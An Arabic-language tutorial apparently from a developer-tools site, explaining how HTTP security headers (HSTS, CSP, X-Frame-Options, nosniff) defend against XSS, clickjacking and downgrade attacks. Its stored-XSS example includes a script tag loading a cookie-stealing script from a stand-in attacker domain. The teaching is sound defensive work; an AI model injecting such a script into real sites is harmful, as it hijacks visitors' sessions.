FlowingDev

هيدرز أمان HTTP: خط الدفاع الأول لمتصفحك

تعلم كيف تعمل هيدرز أمان HTTP كقواعد، حيث تخبر المتصفحات بكيفية التعامل مع محتوى موقعك بأمان ومنع هجمات الويب الشائعة.

جرّب الأداة: ترويسات الأمان

في جملة واحدة

هيدرز أمان HTTP هي تعليمات خاصة يرسلها السيرفر لتخبر المتصفح كيف يتصرف، مما يضيف طبقة حماية حاسمة ضد هجمات الويب الشائعة.

المشكلة التي تحلها

في الأيام الأولى للويب، كانت المتصفحات واثقة أكثر من اللازم. العقلية السائدة كانت شيئًا من قبيل: "أهلاً، السيرفر أرسل لي هذا المحتوى، سأعرضه وانتهى الأمر!". وسرعان ما تم استغلال هذه الثقة. وجد المخترقون طرقًا لحقن سكربتات (scripts) خبيثة في مواقع ويب شرعية، وخداع المستخدمين للنقر على أشياء لا يرونها، وسرقة معلومات حساسة.

كانت المشكلة الأساسية هي أن المتصفح لم يكن لديه تعليمات من السيرفر حول ما يجب أو لا يجب السماح به. إذا احتوى تعليق في مدونة على وسم <script> يسرق كوكيز المستخدم، كان المتصفح سينفذه بكل سرور. وإذا قام مهاجم بتضمين موقع البنك الخاص بك في <iframe> غير مرئي لخداعك لتحويل الأموال، كان المتصفح سيقول: "بالتأكيد، تبدو فكرة جيدة."

هذا خلق فئة كاملة من الهجمات مثل Cross-Site Scripting (XSS)، وclickjacking، وهجمات الوسيط (man-in-the-middle) التي تخفض مستوى أمان البروتوكول. تم ابتكار هيدرز الأمان كطريقة للسيرفر لإرسال "كتيّب قواعد" مع محتوى الموقع. هذا الكتيّب يخبر المتصفح: "كن مهووسًا بالأمان نيابة عني. لا تحمّل سكربتات من نطاقات غير موثوقة. لا تدع أحدًا يضع موقعي داخل إطار (frame). وبحق السماء، لا تتحدث معي إلا عبر اتصال آمن." إنها تنقل جزءًا من مسؤولية الأمان إلى جانب العميل (client-side)، وتفرض سياسات لا يستطيع السيرفر فرضها بمفرده.

كيف تعمل في الكواليس

عندما يطلب متصفحك صفحة ويب، يستجيب السيرفر بمحتوى الـ HTML، ولكن قبل ذلك، يرسل كتلة نصية تسمى "الهيدرز" (headers). هذه الهيدرز عبارة عن أزواج من المفاتيح والقيم (key-value pairs) توفر بيانات وصفية (metadata) حول الاستجابة. هيدرز الأمان هي ببساطة هيدرز محددة تتعرف عليها المتصفحات وتلتزم بها.

دعنا نلقي نظرة على اللاعبين الكبار.

Strict-Transport-Security (HSTS)

هذا هو الحارس الشخصي (bouncer) الذي يفرض سياسة صارمة: "HTTPS فقط". بمجرد أن يرى المتصفح هذا الهيدر من موقعك، فإنه يقطع وعدًا: خلال الثواني القادمة المحددة بـ max-age، فإنه لن يحاول أبدًا الاتصال بموقعك باستخدام بروتوكول HTTP غير الآمن. سيقوم تلقائيًا بترقية جميع الطلبات إلى HTTPS.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • max-age: الوقت بالثواني الذي يجب على المتصفح أن يتذكر خلاله فرض HTTPS. القيمة النموذجية هي سنة واحدة (31536000).
  • includeSubDomains: يطبق القاعدة على جميع النطاقات الفرعية (e.g., blog.example.com, api.example.com).
  • preload: إشارة إلى أنك توافق على تضمين نطاقك في "قوائم التحميل المسبق" (preload lists) التي تحتفظ بها المتصفحات. هذا يعني أنه حتى الزيارة الأولى على الإطلاق لموقعك ستُجبر على استخدام HTTPS، مما يغلق ثغرة أمنية صغيرة ولكنها مهمة.

Content-Security-Policy (CSP)

هذا هو الأهم—مدير الأمان فائق التفاصيل. يسمح لك CSP بتحديد قائمة بيضاء (whitelist) صارمة للموارد (سكربتات، تنسيقات، صور، خطوط، إلخ) التي يُسمح للمتصفح بتحميلها وتنفيذها. إنها الطريقة الوحيدة الأكثر فعالية لمكافحة هجمات Cross-Site Scripting (XSS).

الـ CSP هو سلسلة من التوجيهات (directives).

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
  • default-src 'self': بشكل افتراضي، اسمح فقط بالموارد من نفس المصدر الخاص بي (نفس النطاق).
  • script-src 'self' https://apis.google.com: بالنسبة للسكربتات، اسمح بها من المصدر الخاص بي ومن apis.google.com. سيتم حظر جميع السكربتات الأخرى.
  • object-src 'none': عدم السماح بالمحتوى القابل للتضمين القديم مثل <object> و <embed> و <applet>.

صياغة CSP جيد قد يكون أمرًا صعبًا لأن المواقع الحديثة تسحب الموارد من أماكن عديدة (CDNs، مزودي خدمات التحليلات، إلخ)، لكنه قوي بشكل لا يصدق.

X-Frame-Options

هذا هو الهيدر الأصلي لمكافحة هجمات clickjacking. إنه بسيط ومباشر، يخبر المتصفح ما إذا كان يمكن عرض موقعك داخل <frame> أو <iframe> أو <embed> أو <object>.

X-Frame-Options: DENY
  • DENY: لا يمكن عرض الصفحة في إطار (frame)، بغض النظر عن الموقع الذي يحاول القيام بذلك.
  • SAMEORIGIN: لا يمكن عرض الصفحة إلا في إطار على نفس المصدر (origin) الخاص بالصفحة نفسها.

على الرغم من أنه لا يزال مفيدًا، إلا أنه يتم استبداله إلى حد كبير بالتوجيه frame-ancestors في CSP، وهو أكثر مرونة.

X-Content-Type-Options

هذا الهيدر له قيمة صالحة واحدة فقط، وهي nosniff، لكنها قيمة مهمة. يمنع المتصفح من محاولة "التذاكي" وتخمين نوع محتوى المورد. كانت بعض المتصفحات القديمة ترى ملفًا يُقدَّم كـ text/plain لكنها تلاحظ أنه يبدو مثل JavaScript، فتقوم بتنفيذه. وهذا ما يسمى "استنشاق MIME" (MIME-sniffing) ويمكن أن يؤدي إلى ثغرات أمنية.

X-Content-Type-Options: nosniff

يقول هذا الهيدر للمتصفح: "الهيدر Content-Type الذي أرسلته هو الحقيقة المطلقة. لا تشكك فيه. إذا قلت إنها صورة، فهي صورة، حتى لو كانت تحتوي على وسوم <script> بداخلها."

قصص من الواقع

نقرة الزر الشبح

يسجل مستخدم الدخول إلى موقعه المفضل للتواصل الاجتماعي. ثم يتصفح موقع ألعاب يبدو بريئًا ويعد بجائزة مجانية عند النقر على زر. يرى المستخدم زرًا كبيرًا مكتوب عليه "احصل على جائزتك!" وينقر عليه. دون علمه، قام المهاجم الذي يدير موقع الألعاب بتحميل موقع التواصل الاجتماعي في <iframe> شفاف تمامًا وموضوع مباشرة فوق اللعبة. زر "احصل على جائزتك!" محاذٍ تمامًا لزر "حذف حسابي" في صفحة التواصل الاجتماعي غير المرئية. عندما ينقر المستخدم، فهو لا يطالب بجائزة؛ بل يقوم بحذف حسابه.

الدرس: هذا هجوم clickjacking كلاسيكي. لو كان موقع التواصل الاجتماعي قد أرسل الهيدر X-Frame-Options: DENY أو Content-Security-Policy: frame-ancestors 'none'، لرفض المتصفح تحميل الموقع في الـ <iframe>، ولكان الهجوم قد فشل على الفور.

التعليق الخبيث

مدونة تقنية شهيرة لديها قسم تعليقات مزدحم. في أحد الأيام، ينشر مستخدم تعليقًا يبدو مفيدًا، ولكن مخبأ بداخله جزء ماكر من JavaScript: <script src="https://evil-hacker.com/steal-cookie.js"></script>. الواجهة الخلفية (backend) للمدونة لا تقوم بتنقية التعليق بشكل صحيح وتحفظه في قاعدة البيانات. الآن، كل شخص يزور تلك التدوينة، يقوم متصفحه بتحميل وتنفيذ سكربت steal-cookie.js. يقوم السكربت بصمت بالاستيلاء على كوكي جلسة المستخدم (session cookie) وإرساله إلى سيرفر المخترق، مما يسمح للمخترق بالاستيلاء على جلسات المشرفين والمديرين والمستخدمين العاديين على حد سواء.

الدرس: سياسة Content-Security-Policy جيدة الإعداد كانت ستكون الحل السحري. سياسة مثل script-src 'self' https://cdn.my-blog.com كانت ستوجه المتصفح لتنفيذ السكربتات من نطاق المدونة الخاص و CDN الموثوق به فقط. كان سيتم حظر الطلب إلى evil-hacker.com تمامًا، وإرسال تقرير إلى السيرفر، لتنبيه أصحاب الموقع بالهجوم.

هجوم الوسيط في المقهى

أنت في مقهى، تستخدم شبكة Wi-Fi العامة للتحقق من رصيدك البنكي. تكتب mybank.com في متصفحك. يعترض مهاجم على نفس الشبكة طلب HTTP الأولي غير المشفر. بدلًا من السماح بإعادة توجيهك إلى إصدار HTTPS الآمن، يقدم لك المهاجم نسخة طبق الأصل من صفحة تسجيل الدخول لبنكك عبر HTTP. تدخل بيانات اعتمادك، ويلتقطها المهاجم. انتهت اللعبة.

الدرس: لو كنت قد زرت mybank.com من قبل، وكان البنك قد طبق Strict-Transport-Security (HSTS)، لكان متصفحك سيعرف أن mybank.com يتحدث فقط عبر HTTPS. لم يكن ليحاول حتى إجراء الطلب الأولي غير الآمن. كان سيقوم بترقيته فورًا إلى https://mybank.com، متجاوزًا فخ المهاجم تمامًا.

أخطاء وفخاخ شائعة

  • CSP متساهل جدًا: استخدام unsafe-inline أو unsafe-eval في Content-Security-Policy لأنه أسهل من إصلاح كود التطبيق. هذا يعيد فتح ثغرات XSS التي صُمم CSP لمنعها.
  • HSTS مع max-age قصير: ضبط max-age لـ Strict-Transport-Security على بضع دقائق أو ساعات أثناء الاختبار ونسيان زيادته في بيئة الإنتاج. هذا يحد بشدة من فعاليته.
  • نسيان includeSubDomains: تأمين www.example.com بـ HSTS ولكن ليس api.example.com. لا يزال بإمكان المهاجم استهداف النطاقات الفرعية. إذا كانت جميع النطاقات الفرعية تدعم HTTPS، فقم دائمًا بتضمينها.
  • الاعتماد على هيدرز مهملة: الاستمرار في محاولة استخدام الهيدر X-XSS-Protection. قامت المتصفحات الحديثة بتعطيله لأنه في بعض الأحيان يمكن خداعه لإنشاء ثغرات أمنية. النهج الصحيح هو CSP قوي.
  • إعداده ونسيانه: الأمان ليس شيئًا ثابتًا. قد تضيف سكربت تحليلات جديدًا أو CDN. إذا لم تقم بتحديث CSP الخاص بك، فقد يؤدي ذلك إلى تعطل موقعك. يجب أن تكون الهيدرز جزءًا من عملية النشر والاختبار.
  • تعطيل موقعك بنفسك: نشر CSP صارم جدًا دون اختباره أولاً. استخدم Content-Security-Policy-Report-Only لجعل المتصفح يبلغ عن الانتهاكات دون حظرها فعليًا، مما يسمح لك بضبط سياستك قبل فرضها.

لماذا يجب أن يكون على رادارك

إذا كنت تبني أو تصون أو مسؤولاً بأي شكل من الأشكال عن موقع ويب أو تطبيق ويب، فيجب أن تكون هيدرز الأمان على قائمة المراجعة الخاصة بك. نقطة.

إنها واحدة من أرخص التحسينات الأمنية وأعلاها تأثيرًا التي يمكنك إجراؤها. غالبًا ما يكون تنفيذها مجرد بضعة أسطر من الإعدادات في سيرفر الويب الخاص بك (Nginx, Apache) أو إطار عمل التطبيق. الدفاع الذي توفره ضد فئات كاملة من الثغرات الشائعة هائل. فكر في الأمر كحزام الأمان: إنه لا يمنع حادث السيارة، ولكنه يزيد بشكل كبير من فرصك في النجاة منه. لن توقف هيدرز الأمان مهاجمًا مصممًا لديه استغلال من جانب السيرفر (server-side exploit)، لكنها ستوقف الغالبية العظمى من الهجمات الانتهازية من جانب العميل (client-side) التي تفترس المستخدمين غير الحذرين.

للتعمق أكثر

  • MDN Web Docs: HTTP Headers: المرجع النهائي على الويب لكل هيدر HTTP يمكنك تخيله. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
  • مشروع OWASP للهيدرز الآمنة: مصدر ممتاز من مشروع أمان تطبيقات الويب المفتوحة (OWASP)، يفصل الهيدرز التي يجب استخدامها وكيفية ذلك. https://owasp.org/www-project-secure-headers/
  • مرجع سياسة أمان المحتوى (CSP): غوص عميق في أكثر هيدرز الأمان تعقيدًا وقوة. https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
  • إرسال HSTS Preload: تعرف على قائمة HSTS للتحميل المسبق المضمنة في المتصفحات الرئيسية وأرسل موقعك إليها. https://hstspreload.org/
  • مدونة Scott Helme: باحث أمني يكتب بشكل مكثف وموثوق حول هيدرز الأمان ومواضيع أخرى تتعلق بأمن الويب. https://scotthelme.co.uk/

انتهينا من النظرية. حان وقت التطبيق — 100% في متصفحك.

جرّب الأداة: ترويسات الأمان